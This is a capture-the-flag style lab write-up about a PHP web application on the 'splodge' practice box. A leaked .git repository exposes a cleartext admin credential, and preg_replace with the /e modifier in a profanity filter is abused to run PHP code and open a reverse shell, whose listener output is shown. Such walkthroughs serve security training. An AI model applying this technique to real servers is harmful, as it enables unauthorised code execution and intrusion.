preg_replace
A hidden .git
repository was found on the web server running on port 80
, containing the source code of a custom PHP web application hosted on port 8080
. Within this source code, a hard-coded credential in CLEARTEXT was discovered, which grants access to the login page to the admin panel.
The admin panel of the custom PHP web application includes a Profanity Filter that allows users to set a custom regex filter and a replacement word. While this filter is applied to the comment feature, it relies on PHP’s potentially dangerous preg_replace
function to perform the replacement.
One of the online resources reveals that the PHP’s preg_replace function treats the replacement parameter as PHP code ONLY if
e
modifier is present, potentially leading to PHP code execution if both regex pattern and replacement strings are controlled by user.
<REGEX>/e
The e
modifier in PHP regular expressions is a flag that is used in preg_replace to evaluate the replacement string as PHP code.
Setting the filter word,
exec
with the e
modifier; /e
This should make the backend PHP to treat the replacement strings as PHP code, executing the phpinfo function
Code execution confirmed
Exploitation
Setting the filter word,
shell
with the e
modifier to invoke a reverse shell command via the shell_exec function in the replacement strings
Invoking
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/splodge]
└─$ nnc 1337
listening on [any] 1337 ...
connect to [192.168.45.221] from (UNKNOWN) [192.168.219.108] 54448
bash: no job control in this shell
bash-4.2$ whoami
whoami
nginx
bash-4.2$ hostname
hostname
splodge
bash-4.2$ /sbin/ifconfig
/sbin/ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.219.108 netmask 255.255.255.0 broadcast 192.168.219.255
ether 00:50:56:9e:e3:9a txqueuelen 1000 (Ethernet)
RX packets 1310183 bytes 167364146 (159.6 MiB)
RX errors 0 dropped 2190 overruns 0 frame 0
TX packets 1009214 bytes 799042955 (762.0 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 16325 bytes 4140097 (3.9 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 16325 bytes 4140097 (3.9 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Initial Foothold established to the target system as the nginx
account via exploiting the PHP’s preg_replace function.